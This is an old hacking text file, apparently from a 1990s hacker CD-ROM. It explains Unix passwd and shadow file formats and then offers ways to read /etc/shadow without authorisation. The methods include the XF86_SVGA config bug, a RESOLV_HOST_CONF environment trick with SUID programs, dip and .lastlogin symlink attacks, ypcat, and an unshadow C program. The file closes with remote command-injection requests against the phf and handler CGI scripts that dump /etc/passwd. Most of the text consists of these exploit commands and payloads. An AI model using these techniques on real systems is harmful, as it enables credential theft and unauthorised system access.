home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / nix / shadow.txt < prev    next >
Text File  |  2001-07-11  |  6KB  |  173 lines

  1. The Shadowed Passwd
  2.     by The Arctic League - http://arctik.com
  3.  
  4.      In the old days hacking was easy. You get an account on a system, download the passwd
  5. file, and crack the passwords.  As you may have noticed everyone figured out that unshadowed
  6. passwd files were not as secure as they thought.  So some at (find where) invented the idea of
  7. shadowed passwds.  With a non-shadowed passwd file the file /etc/passwd looks like this:
  8.  
  9. root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
  10. bin:*:1:1:bin:/bin:
  11. daemon:*:2:2:daemon:/sbin:
  12. adm:*:3:4:adm:/var/adm:
  13. lp:*:4:7:lp:/var/spool/lpd:
  14. sync:*:5:0:sync:/sbin:/bin/sync
  15. shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
  16. halt:*:7:0:halt:/sbin:/sbin/halt
  17. mail:*:8:12:mail:/var/spool/mail:
  18. news:*:9:13:news:/usr/lib/news:
  19. uucp:*:10:14:uucp:/var/spool/uucppublic:
  20. operator:*:11:0:operator:/root:/bin/bash
  21. games:*:12:100:games:/usr/games:
  22. man:*:13:15:man:/usr/man:
  23. postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
  24. nobody:*:-2:100:nobody:/dev/null:
  25. ftp:*:404:1::/home/ftp:/bin/bash
  26. guest:*:405:100:guest:/dev/null:/dev/null
  27. bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
  28. web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
  29. mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
  30.  
  31. Quick little note about the normal passwd file:
  32.  
  33. mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
  34. 1   :2            :3  :4  :5             :6         :7
  35.  
  36. 1=username 2=encrypted password 3=user number 4=groop id 5=real name
  37. 6=home directory 7=shell
  38.  
  39. On a system with passwd shadowing it would look like this:
  40.  
  41. root:x:0:0:root:/root:/bin/bash
  42. bin:x:1:1:bin:/bin:
  43. daemon:x:2:2:daemon:/sbin:
  44. adm:x:3:4:adm:/var/adm:
  45. lp:x:4:7:lp:/var/spool/lpd:
  46. sync:x:5:0:sync:/sbin:/bin/sync
  47. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  48. halt:x:7:0:halt:/sbin:/sbin/halt
  49. mail:x:8:12:mail:/var/spool/mail:
  50. news:x:9:13:news:/usr/lib/news:
  51. uucp:x:10:14:uucp:/var/spool/uucppublic:
  52. operator:x:11:0:operator:/root:/bin/bash
  53. games:x:12:100:games:/usr/games:
  54. man:x:13:15:man:/usr/man:
  55. postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
  56. nobody:x:-2:100:nobody:/dev/null:
  57. ftp:x:404:1::/home/ftp:/bin/bash
  58. guest:x:405:100:guest:/dev/null:/dev/null
  59. bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
  60. web:x:502:100:Web Master:/home/web:/bin/bash
  61. mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
  62.  
  63.  
  64. This type of passwd file is impossable to crack, for the simple resion that there is nothing to crack! 
  65. The real encrypted passwords are stored in different files on different systems, but the most common
  66. is in /etc/shadow.
  67.  
  68. /etc/shadow will look something like this:
  69.  
  70. root:R0rmc6lxVwi5I:10441:0:99999:7:::
  71. bin:*:10441:0:99999:7:::
  72. daemon:*:10441:0:99999:7:::
  73. adm:*:10441:0:99999:7:::
  74. lp:*:10441:0:99999:7:::
  75. sync:*:10441:0:99999:7:::
  76. shutdown:*:10441:0:99999:7:::
  77. halt:*:10441:0:99999:7:::
  78. mail:*:10441:0:99999:7:::
  79. news:*:10441:0:99999:7:::
  80. uucp:*:10441:0:99999:7:::
  81. operator:*:10441:0:99999:7:::
  82. games:*:10441:0:99999:7:::
  83. gopher:*:10441:0:99999:7:::
  84. ftp:*:10441:0:99999:7:::
  85. nobody:*:10441:0:99999:7:::
  86. mary:EauDLA/PT/HQg:10441:0:99999:7:::
  87. bhilton:LkjLiWy08xIWY:10446:-1:-1:-1:-1:-1:134529076
  88.  
  89.  
  90. There are many ways to unshadow a shadowed passwd file.  I will go over a few of them here.
  91.  
  92. The First way to get the /etc/shadow file on a linux system is to do the command:
  93. XF86_SVGA -config /etc/shadow
  94. Because of a bug in some versions of the configurater it will echo /etc/shadow to your term.
  95. This bug is in almost all Linux Slackware 3.3 systems and maybe anything that runs XFREE86.
  96.  
  97. In most linux versions there is a hole in libc 5.4.7 or less, that let you set your
  98. resolv_hots_conf to any file on the system.  If you were then to run a SUID program that uses
  99. resolv_host_conf, ping for example, it would cat the file to you.
  100.  
  101. One of these files will be suid:
  102. ping, traceroute, rlogin, or, ssh
  103.  
  104. 1. Type bash to start a bash shell
  105. 2. Type: export RESOLV_HOST_CONF=/etc/shadow
  106. 3. Type one of the file names above with asdf, like this: ping asdf
  107.  
  108. It should cat the shadowed passwd file for you.
  109. Note: you can replace /etc/shadow with any file you want to read.
  110.  
  111. On some Linux Slackwares you can use dip to exploit root, it can also be used to get the
  112. shadow file.
  113.  
  114. ln -s /etc/shadow /tmp/dummy.dip /sbin/dip -v /tmp/dummy.dip 
  115.  
  116. If dip is vulnerable this will type the shadow file.
  117.  
  118. An old SCO and Sys V trick is the .lastlogin hack.  Check to see that
  119. in your home directory, the .lastlogin file is owned by auth or root.
  120. To exploit:
  121.  
  122. rm -f ~/.lastlogin
  123. ln -s ~/.lastlogin /etc/passwd
  124.  
  125. Now logout and then back in so you create the link.
  126.  
  127. cat .lastlogin > passwd
  128. rm -f ~/.lastlogin 
  129.  
  130.  
  131. Another old trick that still works once and a while is the ypcat hack.  It works on some 
  132. SunOS, SCO, and System Vs.  To use it simply type ypcat /etc/passwd with your capture
  133. option turned on.
  134.  
  135.      
  136. The most widly known shadow hack is using lots of calls to the pw_*'s to get the file.
  137. The unshadow C program works on some versions of Unix, mostly on the same ones
  138. that ypcat works on.     
  139.  
  140. -------unshadow.c cut here----------------
  141.  
  142. #include <pwd.h>
  143.  
  144. main()
  145. {
  146.   struct passwd *p;
  147.   while(p=getpwent())
  148.   printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  149.   p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  150. }
  151.  
  152. ---------End here------------------
  153.  
  154. Web & cgi exploits:
  155.  
  156. Any OS running a web server with /cgi-bin/phf executable is open to attack. The phf cgi calls
  157. the program ph, if you send a CR char to it, it will let you execute commands on the system. 
  158. (This is a remote hack)
  159.  
  160. http://www.target.com/cgi-bin/phf?Qalias=x%ffcat%20/etc/passwd
  161. or
  162. http://www.target.com/cgi-bin/phf?Qalias=x%0Acat%20/etc/passwd
  163.  
  164.  
  165. Any OS (Usually IRIX) running a web server with /cgi-bin/handler executable is hackable.
  166.  
  167.          telnet target.machine.com 80
  168.          GET /cgi-bin/handler/useless_shit;cat   /etc/passwd|?data=Download
  169.          HTTP/1.0
  170.  
  171. Remember to use a TAB character after cat.
  172.  
  173. (c)1998, The Arctic League - http://arctik.com